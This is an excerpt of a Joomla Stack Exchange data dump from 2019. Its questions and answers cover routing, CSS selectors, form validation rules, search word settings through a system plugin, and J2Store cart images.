  <row Id="24230" PostTypeId="2" ParentId="18251" CreationDate="2019-02-08T07:27:39.357" Score="1" Body="&lt;p&gt;To load a different filter form, override &lt;code&gt;$filterFormName&lt;/code&gt; property in the model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MenusModelMenusextra extends MenusModelMenus&#xA;{&#xA;    public function __construct($config = array())&#xA;    {&#xA;        $this-&amp;gt;filterFormName = 'filter_menus';&#xA;&#xA;        parent::__construct($config);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-02-08T07:27:39.357" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24231" PostTypeId="2" ParentId="22544" CreationDate="2019-02-08T08:40:23.647" Score="0" Body="&lt;p&gt;Your plugin is ordered before &lt;code&gt;System - Language Filter&lt;/code&gt;. Changing the plugin order should fix the issue. Otherwise you may need to pass stage argument to &lt;code&gt;attachBuildRule()&lt;/code&gt; and/or &lt;code&gt;attachParseRule()&lt;/code&gt;. It defines at which stage of the build/parse process the rules are applied.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$router = $this-&amp;gt;app-&amp;gt;getRouter();&#xA;$router-&amp;gt;attachBuildRule(array('MyHelper', 'BuildRoute'), $router::PROCESS_AFTER);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Router.Router.html#method_attachBuildRule&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.Router.Router.html#method_attachBuildRule&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-02-08T08:40:23.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24232" PostTypeId="2" ParentId="24141" CreationDate="2019-02-08T09:16:01.640" Score="1" Body="&lt;p&gt;You can edit a custom set in Plugins -&gt; TinyMCE, cleaning out most of the buttons, and assign to the target user group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that will make the same minimal set be used all over the site if the user is in the targeted user group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you change your editor to JCE, you can assign a profile (set) to either/both frontend and backend, assign by device (desktop, tablet and smartphone), as well as assign it for an individual component or user group. You can even assign to specific users, if you prefer.&lt;/p&gt;&#xA;" OwnerUserId="13318" LastEditorUserId="12352" LastEditDate="2019-02-08T13:04:40.757" LastActivityDate="2019-02-08T13:04:40.757" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24233" PostTypeId="2" ParentId="24133" CreationDate="2019-02-08T09:34:55.920" Score="0" Body="&lt;p&gt;Since you have multiple classes for the element, you have two options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first one is to &lt;strong&gt;include&lt;/strong&gt; the two classes in your style, to make it very specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will target the outer selector:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.module.feature-box {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will target the inner selector:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.custom.feature-box {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want your class it to be used in other elements of the site, for example if you are using atomic CSS, then you can do it the other way around and &lt;strong&gt;exclude&lt;/strong&gt; the selector you don't want to target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will apply to anything except an element with the &quot;module&quot; class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.feature-box:not(.module) {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this will apply to anything except an element with the &quot;custom&quot; class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.feature-box:not(.custom) {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pseudo-classes are a very powerful tool in your CSS skillset. I strongly recommend you learn it. A good resource is &lt;a href=&quot;https://css-tricks.com/pseudo-class-selectors&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://css-tricks.com/pseudo-class-selectors&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Another scenario:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If, by any weird chance, you have a scenario where the element only contains the class you added, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;feature-box&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;something&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;feature-box&quot;&amp;gt;&#xA;                Your content here&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use specificity (or hierarchy) in your class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To target only the outer div, you can use the code below. That will make sure that only the .feature-box div that is directly under .wrapper is targeted.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.wrapper &amp;gt; .feature-box {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To target only the internal one, you have two options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This first option will target any .feature-box that is inside another .feature-box, regardless of how many levels deep.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.feature-box .feature-box {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This second option will target only .feature-box that is directly below .something.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.something &amp;gt; .feature-box {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Specificity is a great tool, but one that should be used sparingly, since it can, and will, bloat your CSS.&lt;/p&gt;&#xA;" OwnerUserId="13318" LastActivityDate="2019-02-08T09:34:55.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24234" PostTypeId="2" ParentId="24017" CreationDate="2019-02-08T09:55:44.393" Score="1" Body="&lt;p&gt;Your scenario is most suited for a custom component. Also, I'm not aware of any particular extension that can do what you need mostly out-of-the-box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, I can see your form being built in RSForm Pro, with some (maybe a lot of) coding labor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With RSForm I was able to make a 80 questions online test, with custom play-once audio questions, and a custom color coded answer sheet for the teacher evaluating the test results. It took me a couple of days, half of it for data input, but it works like a charm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to create the tables for both singers/subs and for songs. That table can be fed from a separate form in RSForm Pro as well, or manually via PHPmyAdmin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The RSForm docs site has a lot of documentation on how to achieve most of the things you need, and you may need to do some research on your own, but everything you need is achievable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since your gigs have a limited duration (around 2:30hs), you know the maximum number of songs that can fit into this period, so you can add that number of forms (as far as I remember, there is no way to add fields dynamically in RSForm).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The color coding will be handled by quite a bit of jQuery. I think most of the coding here is pretty basic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for output, RSForm can generate two different PDFs, one for the admin, one for the users. You can make the reading size with the user's PDF and the bigger size with the admin's PDF. The PDF output is highly customizable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you start exploring the possibilities of RSForm, you may even add some extra nice things that were in your wishlist.&lt;/p&gt;&#xA;" OwnerUserId="13318" LastEditorUserId="12352" LastEditDate="2019-02-08T13:00:45.643" LastActivityDate="2019-02-08T13:00:45.643" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24235" PostTypeId="2" ParentId="23997" CreationDate="2019-02-08T09:59:46.683" Score="2" Body="&lt;p&gt;The &quot;enable advanced SEF&quot; option in K2 is a standalone SEF router, and is most likely conflicting with anything that RS SEO is doing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without taking a look at your site, I can't really tell, but it is the most likely answer to your case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try disabling one of them (K2 advanced SEF or RS SEO) and see how it goes.&lt;/p&gt;&#xA;" OwnerUserId="13318" LastEditorUserId="12352" LastEditDate="2019-02-08T12:50:04.177" LastActivityDate="2019-02-08T12:50:04.177" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24236" PostTypeId="2" ParentId="23976" CreationDate="2019-02-08T10:05:19.933" Score="0" Body="&lt;p&gt;You can always use a CSS/jQuery workaround, and make the placeholder a div element with absolute positioning under the text area, and have the text area use a transparent background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you change the textarea background to a solid color on focus, and use jQuery to detect if the textarea has any content. It must add a CSS class to the textarea if it is not empty, and remove that class if it's empty. The class will just define a solid color background.&lt;/p&gt;&#xA;" OwnerUserId="13318" LastActivityDate="2019-02-08T10:05:19.933" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24239" PostTypeId="2" ParentId="24154" CreationDate="2019-02-08T14:03:48.020" Score="0" Body="&lt;h1&gt;How to archive that:&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a custom field of type &lt;strong&gt;List&lt;/strong&gt; where you store all your managers&lt;/li&gt;&#xA;&lt;li&gt;Each of item in the list should have its &lt;strong&gt;Label&lt;/strong&gt; (eg. Mr. Bob) and unique &lt;strong&gt;Value&lt;/strong&gt; (eg. &lt;em&gt;1&lt;/em&gt; or &lt;em&gt;manager1&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;In article select the manager using just created drop down list of managers&lt;/li&gt;&#xA;&lt;li&gt;When you need to change the manager go to your custom field editing and change the &lt;strong&gt;Label&lt;/strong&gt; of the manager to a new one (eg. Mr. Jenkins)&lt;/li&gt;&#xA;&lt;li&gt;All articles where you selected that particular manager will display the new name (cause the manager is identified by its ID/value)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;That's it. All articles where you selected the manager will use the new name.&lt;/p&gt;&#xA;&lt;h1&gt;How it works:&lt;/h1&gt;&#xA;&lt;p&gt;Each article stores only the value (and the value of select list is in our example &lt;strong&gt;1&lt;/strong&gt;, &lt;strong&gt;manager1&lt;/strong&gt; or what ever value you set as the ID of manager). So when you change the label you don't touch the value, just the label of that value. That way while displaying the article you use the value to identify the current manager but uses its label to show the manager.&lt;/p&gt;&#xA;&lt;h2&gt;Why using custom field is a better solution?&lt;/h2&gt;&#xA;&lt;p&gt;Manager is a data attached to certain article (entity). Data should be structured and you should be able to query it. Lets say one day you want to look for articles of a selected manager. Doing that using modules would require parsing HTML.&lt;/p&gt;&#xA;&lt;p&gt;Also have in mind that using a drop down field of available managers is more user friendly. You don't need to remember the short-code or module ID. You have a predefined list. In short: you have more control over your data and less space for mistakes.&lt;/p&gt;&#xA;&lt;p&gt;Is it the best solution? No. User still have to get into custom fields and look for the Manager field. But it is the most you can get out of Joomla! without creating a custom component.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-02-08T14:22:32.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24242" PostTypeId="1" CreationDate="2019-02-10T12:31:40.217" Score="1" ViewCount="81" Body="&lt;p&gt;I've created a component where an admin can bulk upload users and I want to validate the email addresses before creating those users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The XML definition of the form for creating or modifying a user (&lt;code&gt;administrator/components/com_users/models/forms/user.xml&lt;/code&gt;), has the attribute &lt;code&gt;validate=email&lt;/code&gt; on the email field. This means that Joomla will use its &lt;code&gt;Joomla\CMS\Form\Rule\EmailRule&lt;/code&gt; class to validate any input from the email form field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to leverage the &lt;code&gt;Joomla\CMS\Form\Rule\EmailRule&lt;/code&gt; class for validating the email addresses which are uploaded.&lt;/p&gt;&#xA;" OwnerUserId="9281" LastEditorUserId="12352" LastEditDate="2019-02-10T12:36:57.197" LastActivityDate="2019-02-10T12:38:27.413" Title="How to use form rules programatically to validate data outside a form" Tags="|emails|validation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24243" PostTypeId="2" ParentId="24242" CreationDate="2019-02-10T12:31:40.217" Score="1" Body="&lt;p&gt;Its possible to use the &lt;code&gt;Joomla\CMS\Form\Rule\EmailRule&lt;/code&gt; directly within code. Just instantiate it and then call its &lt;code&gt;test&lt;/code&gt; method. The &lt;code&gt;test&lt;/code&gt; method requires two arguments, a SimpleXMLElement defining the field tag the value to be tested. To validate a bunch of uploaded email addresses, you would use the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$emails; //an array of email addresses&#xA;$email_validator = new \Joomla\CMS\Form\Rule\EmailRule();&#xA;$field_element = simplexml_load_string('&amp;lt;field name=&quot;email&quot; type=&quot;email&quot; validate=&quot;email&quot; /&amp;gt;');&#xA;foreach( $emails as $email ) {&#xA;    if( !$email_validator-&amp;gt;test($field_element, $email) ) {&#xA;        //deal with failed email validation&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reviewing the &lt;code&gt;Joomla\CMS\Form\Rule\EmailRule&lt;/code&gt; class, the SimpleXMLElement only looks for the attributes 'required', 'multiple', 'tld' and 'unique', so if you don't require these, you can actually just use &lt;code&gt;simplexml_load_string('&amp;lt;field/&amp;gt;)&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the field element definition, you can easily modify the rule's behaviour. For example, if you want to use the &lt;code&gt;Joomla\CMS\Form\Rules\PasswordRule&lt;/code&gt; to validate passwords, then you can adjust the SimpleXMLElement string to require a minimum total length or number of symbols. The code would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$field_element = simplexml_load_string('&amp;lt;field minimum_length=&quot;15&quot; minimum_symbols=&quot;3&quot; /&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9281" LastEditorUserId="12352" LastEditDate="2019-02-10T12:38:27.413" LastActivityDate="2019-02-10T12:38:27.413" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24249" PostTypeId="1" AcceptedAnswerId="24252" CreationDate="2019-02-11T15:11:43.103" Score="1" ViewCount="105" Body="&lt;p&gt;When using tooltips for links in my admin component, the URL is for some reason visible in the tooltip. Is there a way to turn it off, so that only the title attribute is visible? I'm using the &lt;code&gt;hasTip&lt;/code&gt; CSS class.&lt;/p&gt;&#xA;" OwnerUserId="7077" LastActivityDate="2019-02-12T10:32:08.123" Title="How can I remove the URL in the tooltip?" Tags="|css|mootools|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24251" PostTypeId="2" ParentId="24220" CreationDate="2019-02-11T22:54:28.697" Score="2" Body="&lt;p&gt;The problem was: The Tooltip didn't have the styling I wanted.&#xA;The quest was: To know the tooltip css class to be able to alter it.&#xA;The solution: I googled the internet for the tooltip css class (the jquery suggestion didn't work for me) and altered the &lt;code&gt;.popover&lt;/code&gt; class (tooltip) so that it looks the way I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CSS added:&lt;/strong&gt; to templates/$template_name$/style.css&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.popover {&#xA;    background-color: white;&#xA;    border: 2px solid #A10C27;&#xA;    border-radius: 5px;&#xA;    padding: 5px;&#xA;    width: 500px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Resulting Image on the Website:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uKkck.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uKkck.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13313" LastEditorUserId="12352" LastEditDate="2019-02-12T01:42:04.820" LastActivityDate="2019-02-12T01:42:04.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24252" PostTypeId="2" ParentId="24249" CreationDate="2019-02-12T10:32:08.123" Score="1" Body="&lt;p&gt;Solved by using CSS class &lt;code&gt;hasTooltip&lt;/code&gt; instead of &lt;code&gt;hasTip&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The manual should be updated to reflect this... &lt;a href=&quot;https://docs.joomla.org/J3.x:How_to_add_tooltips_to_your_Joomla!_website&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:How_to_add_tooltips_to_your_Joomla!_website&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7077" LastActivityDate="2019-02-12T10:32:08.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24254" PostTypeId="1" CreationDate="2019-02-12T21:05:54.147" Score="2" ViewCount="178" Body="&lt;p&gt;j2store use thumbimage and mainimage  instead of joomla article intro and full image for show image product at j2store cart and order invoice&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vnKnh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vnKnh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to use intro image in article instead of j2store thumbnail image for show at j2store cart and invoice&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FuoNX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FuoNX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MTRHr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MTRHr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this code for j2store cart and checkout that load thumb image product &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $registry = new JRegistry;&#xA;    $registry-&amp;gt;loadString($item-&amp;gt;orderitem_params);&#xA;    $item-&amp;gt;params = $registry;&#xA;    $thumb_image = $item-&amp;gt;params-&amp;gt;get('thumb_image', '');&#xA;    $back_order_text = $item-&amp;gt;params-&amp;gt;get('back_order_item', '');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this code for show image at cart&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($this-&amp;gt;params-&amp;gt;get('show_thumb_cart', 1) &amp;amp;&amp;amp; !empty($thumb_image)): ?&amp;gt;&#xA;    &amp;lt;span class=&quot;cart-thumb-image&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo $item-&amp;gt;cartitem-&amp;gt;product_view_url;?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;img alt=&quot;&amp;lt;?php echo $item-&amp;gt;orderitem_name; ?&amp;gt;&quot; src=&quot;&amp;lt;?php echo $thumb_image; ?&amp;gt;&quot; &amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/span&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now I want use joomla article intro image show at cart&#xA;How to render and show joomla intro image at cart ?&lt;/p&gt;&#xA;" OwnerUserId="9530" LastEditorUserId="12352" LastEditDate="2019-02-12T21:22:31.567" LastActivityDate="2019-02-13T08:27:29.663" Title="Product image at j2store cart" Tags="|joomla-3.x|e-commerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24255" PostTypeId="1" AcceptedAnswerId="24256" CreationDate="2019-02-13T05:16:37.200" Score="5" ViewCount="146" Body="&lt;p&gt;I am working on some custom search plugins and I have a 2-part question regarding the file &lt;code&gt;administrator/components/com_search/helpers/search.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to adjust the sanitization settings without hacking core files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need &lt;code&gt;$lower_limit = 1;&lt;/code&gt;&#xA;The core script supplies a value of &lt;code&gt;3&lt;/code&gt; and reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lower_limit = $lang-&amp;gt;getLowerLimitSearchWord();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have found the reference &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Language.Language.html#method_getLowerLimitSearchWord&quot; rel=&quot;noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.Language.Language.html#method_getLowerLimitSearchWord&lt;/a&gt;.&#xA;It tells me:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;&lt;strong&gt;integer&lt;/strong&gt;&lt;/em&gt; The lower limit integer for length of search words (3 if no value was set for a specific language)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but this doesn't tell me how/where to override that default value.  I assume I should be doing something like &lt;code&gt;COM_SEARCH_LOWER_LIMIT_SEARCH_WORD=1&lt;/code&gt; or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 1.&lt;/strong&gt; Which language override file do I need to write to and what is the appropriate syntax?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next setting to understand is &lt;code&gt;$search_ignore = $lang-&amp;gt;getIgnoredSearchWords();&lt;/code&gt;.  Right now, it is showing me a whitelist of &lt;code&gt;and&lt;/code&gt;, &lt;code&gt;or&lt;/code&gt;, and &lt;code&gt;in&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 2.&lt;/strong&gt; How do I adjust the &lt;code&gt;getIgnoredSearchWords()&lt;/code&gt; strings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found where the default values are stored, but I don't want to hack this file:&#xA;&lt;a href=&quot;https://github.com/joomla-framework/language/blob/master/Tests/data/language/en-GB/en-GB.localise.php&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/joomla-framework/language/blob/master/Tests/data/language/en-GB/en-GB.localise.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/q/22155/12352&quot;&gt;This JSE question is virtually a duplicate&lt;/a&gt; but it fails to explain how to override these defaults.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not meant to touch &lt;code&gt;/language/en-GB/en-GB.localise.php&lt;/code&gt;, right?&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2020-09-30T05:25:01.163" Title="How to adjust search keyword sanitization settings as language override?" Tags="|plugin|overrides|language|com-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24256" PostTypeId="2" ParentId="24255" CreationDate="2019-02-13T06:56:11.070" Score="6" Body="&lt;p&gt;Look for methods called &lt;code&gt;set&amp;lt;PROPERTY&amp;gt;Callback&lt;/code&gt; on the same API documentation you linked. E.g. to override the lower limit use &lt;code&gt;Joomla\CMS\Language\Language::setLowerLimitSearchWordCallback()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I'm not meant to touch /language/en-GB/en-GB.localise.php, right?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Correct. This should be done in a system plugin:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class PlgSystemExample extends CMSPlugin&#xA;{&#xA;    protected $app;&#xA;&#xA;    public function onAfterInitialise()&#xA;    {&#xA;        $this-&amp;gt;app-&amp;gt;getLanguage()-&amp;gt;setLowerLimitSearchWordCallback(array(__CLASS__, 'setLowerLimitSearchWord'));    &#xA;    }&#xA;&#xA;    public static function setLowerLimitSearchWord()&#xA;    {&#xA;        return 2;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can pass an anonymous function too:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;app-&amp;gt;getLanguage()-&amp;gt;setLowerLimitSearchWordCallback(&#xA;    function()&#xA;    {&#xA;        return 2;&#xA;    }&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For setting ignored search words use &lt;code&gt;setIgnoredSearchWordsCallback()&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterRoute()&#xA;{&#xA;    $this-&amp;gt;app-&amp;gt;getLanguage()-&amp;gt;setIgnoredSearchWordsCallback(array(__CLASS__, 'setIgnoredSearchWords'));&#xA;}&#xA;&#xA;public static function setIgnoredSearchWords()&#xA;{&#xA;    return ['in', 'and', 'or', 'if'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Regarding plugin events, you can use either &lt;code&gt;onAfterInitialise()&lt;/code&gt; or &lt;code&gt;onAfterRoute()&lt;/code&gt;. Anything later will not work. Use &lt;code&gt;onAfterRoute()&lt;/code&gt; if you need the use of input variables, e.g. to limit the plugin to specific pages.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2020-09-30T05:25:01.163" LastActivityDate="2020-09-30T05:25:01.163" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="24257" PostTypeId="2" ParentId="24254" CreationDate="2019-02-13T08:19:54.050" Score="1" Body="&lt;p&gt;Cart view doesn't load Joomla images so you have to retrieve them. This can be done in the layout override or with a plugin. There are several plugin events that could be used. I'm using &lt;code&gt;onJ2StoreBeforeDisplayCart&lt;/code&gt; because it passes all items at once. This allows to run a single query for all products in cart.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class plgJ2StoreCartimage extends CMSPlugin&#xA;{&#xA;    protected $db;&#xA;&#xA;    public function onJ2StoreBeforeDisplayCart($items)&#xA;    {&#xA;        // Get article IDs.&#xA;        $ids = array_column($items, 'product_source_id');&#xA;&#xA;        // Get article images from the database.&#xA;        $query = $this-&amp;gt;db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select($this-&amp;gt;db-&amp;gt;quoteName(array('id', 'images')))&#xA;            -&amp;gt;from($this-&amp;gt;db-&amp;gt;quoteName('#__content'))&#xA;            -&amp;gt;where($this-&amp;gt;db-&amp;gt;quoteName('id') . ' IN (' . implode(',', $ids) . ')');&#xA;&#xA;        // Index on ID for easy access.&#xA;        $data = $this-&amp;gt;db-&amp;gt;setQuery($query)-&amp;gt;loadObjectList('id');&#xA;&#xA;        foreach ($items as $item)&#xA;        {&#xA;            $images = json_decode($data[$item-&amp;gt;product_source_id]-&amp;gt;images);&#xA;            $item-&amp;gt;thumb_image = $images-&amp;gt;image_intro;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar with J2Store but I noticed product object contains &lt;code&gt;$product_source&lt;/code&gt; property which defines which extension the product belongs to (e.g. &lt;code&gt;com_content&lt;/code&gt;). Assuming that it's possible to store products in multiple extensions, you might want to check the extension before getting the IDs and running the query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ids = [];&#xA;&#xA;foreach ($items as $item)&#xA;{&#xA;    if ($item-&amp;gt;product_source === 'com_content')&#xA;    {&#xA;        $ids[] = $item-&amp;gt;product_source_id;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-02-13T08:27:29.663" LastActivityDate="2019-02-13T08:27:29.663" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
